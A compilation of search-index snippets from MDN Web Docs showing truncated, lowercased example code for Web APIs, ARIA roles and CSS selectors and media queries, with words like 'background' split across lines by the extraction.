roundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backg
roundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
Storage.getItem() - Web APIs
function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backg
roundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this used within a real world example, see our web storage demo.
Storage - Web APIs
tbyid('image').value); } function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backg
roundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this running as a complete working example, see our web storage demo.
Storage Access API - Web APIs
the semantics a
round third-party cookie blocking policies in particular differ from browser to browser, but the core functionality is similar: cross-origin resources embedded in a third-party context are not given access to the same cookies and site storage that they would have access to when loaded in a first-party context.
Clearing by clicking - Web APIs
p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
Color masking - Web APIs
<p>tinting the displayed colors with color masking.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <button id="red-toggle">on</button> <button id="green-toggle">on</button> <button id="blue-toggle">on</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : inline-block; font-family : serif; font-size : inherit; font-weight : 900; color : white; margin : auto; padding : 0.6em 1.2em; } #red-toggle { backg
round-color : red; } #green-toggle { backg
round-color : green; } #blue-toggle { backg
round-color : blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" wind...
Hello GLSL - Web APIs
hello glsl!</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); }...
Hello vertex attributes - Web APIs
click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 preci...
Raining rectangles - Web APIs
you missed <strong>0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) re...
Scissor animation - Web APIs
the drawing buffer with solid color and applying scissor test.</p> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); // variables to hold the webgl context, and the color and // position of animated squares.
Simple color animation - Web APIs
w to toggle the color animation on or off.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation </button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); // a variable to hold a timer that drives the animation.
Textures from code - Web APIs
simple demonstration of procedural texturing</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; backg
round-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision ...
Animating objects with WebGL - Web APIs
after translating to the initial drawing position for the square, we apply the rotation like this: mat4.rotate(modelviewmatrix, // destination matrix modelviewmatrix, // matrix to rotate squarerotation, // amount to rotate in radians [0, 0, 1]); // axis to rotate a
round this rotates the modelviewmatrix by the current value of squarerotation, a
round the z axis.
WebGL tutorial - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page backg
round.
Introduction to WebRTC protocols - Web APIs
traversal using relays a
round nat (turn) is meant to bypass the symmetric nat restriction by opening a connection with a turn server and relaying all information through that server.
The WebSocket API (WebSockets) - Web APIs
it consists of a c wrapper a
round websockets and webrtc that abstracts away cross-browser differences, facilitating the creation of multi-user networking functionality for games and other apps.
WebXR Device API - Web APIs
making it interactive movement, orientation, and motion: a webxr example in this example and tutorial, we use information learned throughout the webxr documentation to create a scene containing a rotating cube which the user can move a
round using both vr headset and keyboard and mouse.
Using IIR filters - Web APIs
to our dom const canvascontainer = document.queryselector('.filter-graph'); const canvasel = document.createelement('canvas'); canvascontainer.appendchild(canvasel); // set 2d context and set dimesions const canvasctx = canvasel.getcontext('2d'); const width = canvascontainer.offsetwidth; const height = canvascontainer.offsetheight; canvasel.width = width; canvasel.height = height; // set backg
round fill canvasctx.fillstyle = 'white'; canvasctx.fillrect(0, 0, width, height); // set up some spacing based on size const spacing = width/16; const fontsize = math.floor(spacing/1.5); // draw our axis canvasctx.linewidth = 2; canvasctx.strokestyle = 'grey'; canvasctx.beginpath(); canvasctx.moveto(spacing, spacing); canvasctx.lineto(spacing, height-spacing); canvasctx.lineto(width-spacing, height...
Window: blur event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { backg
round: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.content - Web APIs
syntax var windowobject = window.content; example executing the following code in a chrome xul window with a <browser type="content-primary"/> element in it draws a red border a
round the first div on the page currently displayed in the browser: content.document.getelementsbytagname("div")[0].style.border = "solid red 1px"; specification none.
Window.devicePixelRatio - Web APIs
try it and watch what happens!</p> </div> <div class="pixel-ratio"></div> </div> css body { font: 22px arial, sans-serif; } .container { top: 2em; width: 22em; height: 14em; border: 2px solid #22d; margin: 0 auto; padding: 0; backg
round-color: #a9f; } .inner-container { padding: 1em 2em; text-align: justify; text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepi...
Window: deviceorientation event - Web APIs
bubbles no cancelable no interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation a
round z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do something amazing }; sp...
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { backg
round: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.frames - Web APIs
example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.backg
round = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
Window.getComputedStyle() - Web APIs
html <p>hello</p> css p { width: 400px; margin: 0 auto; padding: 20px; font: 2rem/2 sans-serif; text-align: center; backg
round: purple; color: white; } javascript let para = document.queryselector('p'); let compstyles = window.getcomputedstyle(para); para.textcontent = 'my computed font-size is ' + compstyles.getpropertyvalue('font-size') + ',\nand my computed line-height is ' + compstyles.getpropertyvalue('line-height') + '.'; result description the returned object is the same cssstyledeclaratio...
XRSessionMode - Web APIs
immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the sur
rounding environment.
XRSystem: requestSession() - Web APIs
immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the sur
rounding environment.
Web APIs
aambient light eventsbbackg
round tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection obser...
ARIA Test Cases - Accessibility
jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - radiogroup and radiobutton radio example using css backg
round images radio example using img element radio example using aria-activedescendent property dojo nightly build expected at behavior: on initial focus, the screen reader should announce the label of the radio group and the focused radio button, whether it is selected or not, and its position.
ARIA annotations - Accessibility
k strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use some more interesting styling of your own, for example: ins, [role="insertion"] { color: #0c0; text-decoration: underline; } del, [role="deletion"] { color: red; text-decoration: line-through; } ins, [role="insertion"], del, [role="deletion"] { text-decoration-thickness: 2px; backg
round-color: #fee; padding: 2px 4px; margin: 0 1px; } comments online document applications also commonly feature commenting systems, and it would be nice to have a way to semantically associate commented content and its comments.
ARIA: tabpanel role - Accessibility
<div role="tablist"> <div role="tab" aria-selected="true" aria-controls="tabpanel-id" id="tab-id" tabindex="0">tab label</div> accessibility concerns optionally, warn of any potential accessibility concerns that exist with using this property, and how to work a
round them.
ARIA: application role - Accessibility
backg
round for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content from the browser at once after it had finished loading.
ARIA: img role - Accessibility
therefore, provide a comprehensive overall descriptive alt text for image, either in the sur
rounding text, or by using an aria-label attribute, with optional alt attributes for search engines or sighted users to be written to the page should an image fail: <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> if you wish to add a caption or label to your image that is visible on the page, you can do using: aria-...
ARIA: switch role - Accessibility
0; width: 70px; height: 26px; border: 2px solid black; display: inline-block; margin-right: 0.25em; line-height: 20px; vertical-align: middle; text-align: center; font: 12px "open sans", "arial", serif; } button.switch span { padding: 0 4px; pointer-events: none; } [role="switch"][aria-checked="false"] :first-child, [role="switch"][aria-checked="true"] :last-child { backg
round: #262; color: #eef; } [role="switch"][aria-checked="false"] :last-child, [role="switch"][aria-checked="true"] :first-child { color: #bbd; } label.switch { font: 16px "open sans", "arial", sans-serif; line-height: 20px; user-select: none; vertical-align: middle; -moz-user-select: none; -ms-user-select: none; -webkit-user-select: none; -o-user-select: none; } the most interes...
ARIA: tab role - Accessibility
> <div id="panel-2" role="tabpanel" tabindex="0" aria-labelledby="tab-2" hidden> <p>content for the second panel</p> </div> <div id="panel-3" role="tabpanel" tabindex="0" aria-labelledby="tab-3" hidden> <p>content for the third panel</p> </div> </div> .tabs { padding: 1em; } [role="tablist"] { margin-bottom: -1px; } [role="tab"] { position: relative; z-index: 1; backg
round: white; border-radius: 5px 5px 0 0; border: 1px solid grey; border-bottom: 0; padding: 0.2em; } [role="tab"][aria-selected="true"] { z-index: 3; } [role="tabpanel"] { position: relative; padding: 0 0.5em 0.5em 0.7em; border: 1px solid grey; border-radius: 0 0 5px 5px; backg
round: white; z-index: 2; } [role="tabpanel"]:focus { border-color: orange; outline: 1px solid o...
ARIA: button role - Accessibility
html <h1>aria button example</h1> <ul id="namelist"></ul> <label for="newname">enter your name: </label> <input type="text" id="newname"> <span role="button" tabindex="0" onclick="handlecommand()" onkeydown="handlecommand()">add name</span> css [role="button"] { padding: 2px; backg
round-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active { backg
round-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value from the input element let newnameinpu...
Alerts - Accessibility
also, letting the focus jump a
round without real user interaction too often is not a nice thing to do in general.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { backg
round-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { backg
round-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::-webkit-scrollbar - CSS: Cascading Style Sheets
visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .invisible-scrollbar::-webkit-scrollbar { display: none; } /* demonstrate a "mostly customized" scrollbar * (won't be visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-webkit-scrollbar { width: 5px; height: 8px; backg
round-color: #aaa; /* or add it to the track */ } /* add a thumb */ .mostly-customized-scrollbar::-webkit-scrollbar-thumb { backg
round: #000; } <div class="visible-scrollbar"> etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor.
::first-line (:first-line) - CSS: Cascading Style Sheets
with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-feature-settings, font-language-override, font-weight, font-size, font-size-adjust, font-stretch, and font-family all backg
round-related properties: backg
round-color, backg
round-clip, backg
round-image, backg
round-origin, backg
round-position, backg
round-repeat, backg
round-size, backg
round-attachment, and backg
round-blend-mode the color property word-spacing, letter-spacing, text-decoration, text-transform, and line-height text-shadow, text-decoration, text-decoration-color, text-decoration-line, text-decoration-style, a...
::grammar-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color backg
round-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::part() - CSS: Cascading Style Sheets
ore, ::after { box-sizing: border-box; padding: 1rem; } :host { display: flex; } </style> <div part="tab active">tab 1</div> <div part="tab">tab 2</div> <div part="tab">tab 3</div> </template> <tabbed-custom-element></tabbed-custom-element> css tabbed-custom-element::part(tab) { color: #0c0c0dcc; border-bottom: transparent solid 2px; } tabbed-custom-element::part(tab):hover { backg
round-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active { backg
round-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template...
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color backg
round-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
:defined - CSS: Cascading Style Sheets
etattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive backg
rounds p { backg
round: yellow; } simple-custom { backg
round: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then provide the following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-cus...
:first-child - CSS: Cascading Style Sheets
syntax :first-child examples basic example html <div> <p>this text is selected!</p> <p>this text isn't selected.</p> </div> <div> <h2>this text isn't selected: it's not a `p`.</h2> <p>this text isn't selected.</p> </div> css p:first-child { color: lime; backg
round-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment s...
:first-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first!</div> <div>this <span>nested `span` is first</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type { backg
round-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
:focus-visible - CSS: Cascading Style Sheets
<custom-button tabindex="0" role="button">click me</custom-button> custom-button { display: inline-block; margin: 10px; } custom-button:focus { /* provide a fallback style for browsers that don't support :focus-visible */ outline: none; backg
round: lightgrey; } custom-button:focus:not(:focus-visible) { /* remove the focus indicator on mouse-focus for browsers that do support :focus-visible */ backg
round: transparent; } custom-button:focus-visible { /* draw a very noticeable focus style for keyboard-focus on browsers that do support :focus-visible */ outline: 4px dashed darkorange; backg
round: transparent; } po...
:focus - CSS: Cascading Style Sheets
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus { backg
round: yellow; color: red; } .blue-input:focus { backg
round: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision.
:hover - CSS: Cascading Style Sheets
syntax :hover examples basic example html <a href="#">try hovering over this link.</a> css a { backg
round-color: powderblue; transition: backg
round-color .5s; } a:hover { backg
round-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
:last-child - CSS: Cascading Style Sheets
syntax :last-child examples basic example html <div> <p>this text isn't selected.</p> <p>this text is selected!</p> </div> <div> <p>this text isn't selected.</p> <h2>this text isn't selected: it's not a `p`.</h2> </div> css p:last-child { color: lime; backg
round-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment ...
:last-of-type - CSS: Cascading Style Sheets
html <article> <div>this `div` is first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type { backg
round-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
:nth-child() - CSS: Cascading Style Sheets
span</span> <em>this is an `em`.</em> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) { backg
round-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
:nth-last-child() - CSS: Cascading Style Sheets
able example html <table> <tbody> <tr> <td>first line</td> </tr> <tr> <td>second line</td> </tr> <tr> <td>third line</td> </tr> <tr> <td>fourth line</td> </tr> <tr> <td>fifth line</td> </tr> </tbody> </table> css table { border: 1px solid blue; } /* selects the last three elements */ tr:nth-last-child(-n+3) { backg
round-color: pink; } /* selects every element starting from the second to last item */ tr:nth-last-child(n+2) { color: blue; } /* select only the last second element */ tr:nth-last-child(2) { font-weight: 600; } result quantity query a quantity query styles elements depending on how many of them there are.
:nth-last-of-type() - CSS: Cascading Style Sheets
formal syntax :nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) { backg
round-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
:only-child - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only child of its parent */ p:only-child { backg
round-color: lime; } note: as originally defined, the selected element had to have a parent.
:only-of-type - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only <p> element inside its parent */ p:only-of-type { backg
round-color: lime; } note: as originally defined, the selected element had to have a parent.
:placeholder-shown - CSS: Cascading Style Sheets
t id="name" placeholder="student name"/> </p> <p> <label for="branch">enter student branch:</label> <input id="branch" placeholder="student branch"/> </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { backg
round-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { backg
round-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:root - CSS: Cascading Style Sheets
/* selects the root element of the document: <html> in the case of html */ :root { backg
round: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
:scope - CSS: Cascading Style Sheets
/* selects a scoped element */ :scope { backg
round-color: lime; } currently, when used in a stylesheet, :scope is the same as :root, since there is not at this time a way to explicitly establish a scoped element.
:valid - CSS: Cascading Style Sheets
/* selects any valid <input> */ input:valid { backg
round-color: powderblue; } this pseudo-class is useful for highlighting correct fields for the user.
negative - CSS: Cascading Style Sheets
syntax /* <symbol> values */ negative: "-"; /* prepends '-' if value is negative */ negative: "(" ")"; /* sur
rounds value by '(' and ')' if it is negative */ values first <symbol> this symbol will be prepended to the representation when the counter is negative.
@document - CSS: Cascading Style Sheets
p("https:.*") { /* css rules here apply to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any standalone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple; backg
round: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
font-style - CSS: Cascading Style Sheets
true italics use different glyphs and are a bit different from their upright counterparts, having some unique features and generally have a
rounded and calligraphic quality.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
} examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p { backg
round: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
any-hover - CSS: Cascading Style Sheets
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover { backg
round: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
any-pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"]:checked { backg
round: gray; } @media (any-pointer: fine) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 30px; height: 30px; border: ...
color-gamut - CSS: Cascading Style Sheets
examples html <p>this is a test.</p> css @media (color-gamut: srgb) { p { backg
round: #f4ae8a; } } result specifications specification status comment media queries level 4the definition of 'color-gamut' in that specification.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors { backg
round-color: red; color: grey; } @media (forced-colors: active) { .colors { backg
round-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
height - CSS: Cascading Style Sheets
examples html <div>watch this element as you resize your viewport's height.</div> css /* exact height */ @media (height: 360px) { div { color: red; } } /* minimum height */ @media (min-height: 25rem) { div { backg
round: yellow; } } /* maximum height */ @media (max-height: 40rem) { div { border: 2px solid blue; } } result specifications specification status comment media queries level 4the definition of 'height' in that specification.
hover - CSS: Cascading Style Sheets
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover { backg
round: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
inverted-colors - CSS: Cascading Style Sheets
if you're not, it should be red on light gray.</p> <p>if the text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p { backg
round: black; color: yellow; } } @media (inverted-colors: none) { p { backg
round: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p { backg
round: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { backg
round: #222; color: #ccc; } } @media (light-level: washed) { p { backg
round: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
orientation - CSS: Cascading Style Sheets
examples html <div>box 1</div> <div>box 2</div> <div>box 3</div> css body { display: flex; } div { backg
round: yellow; } @media (orientation: landscape) { body { flex-direction: row; } } @media (orientation: portrait) { body { flex-direction: column; } } result specifications specification status comment media queries level 4the definition of 'orientation' in that specification.
pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; border: solid; margin: 0; } input[type="checkbox"]:checked { backg
round: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4th...
prefers-color-scheme - CSS: Cascading Style Sheets
html <div class="day">day (initial)</div> <div class="day light-scheme">day (changes in light scheme)</div> <div class="day dark-scheme">day (changes in dark scheme)</div> <br> <div class="night">night (initial)</div> <div class="night light-scheme">night (changes in light scheme)</div> <div class="night dark-scheme">night (changes in dark scheme)</div> css .day { backg
round: #eee; color: black; } .night { backg
round: #333; color: white; } @media (prefers-color-scheme: dark) { .day.dark-scheme { backg
round: #333; color: white; } .night.dark-scheme { backg
round: black; color: #ddd; } } @media (prefers-color-scheme: light) { .day.light-scheme { backg
round: white; color: #555; } .night.light-scheme { backg
round: #eee; color: black; } } .day, .night { ...
prefers-reduced-motion - CSS: Cascading Style Sheets
*/ @media (prefers-reduced-motion) { .animation { animation-name: dissolve; } } .animation { backg
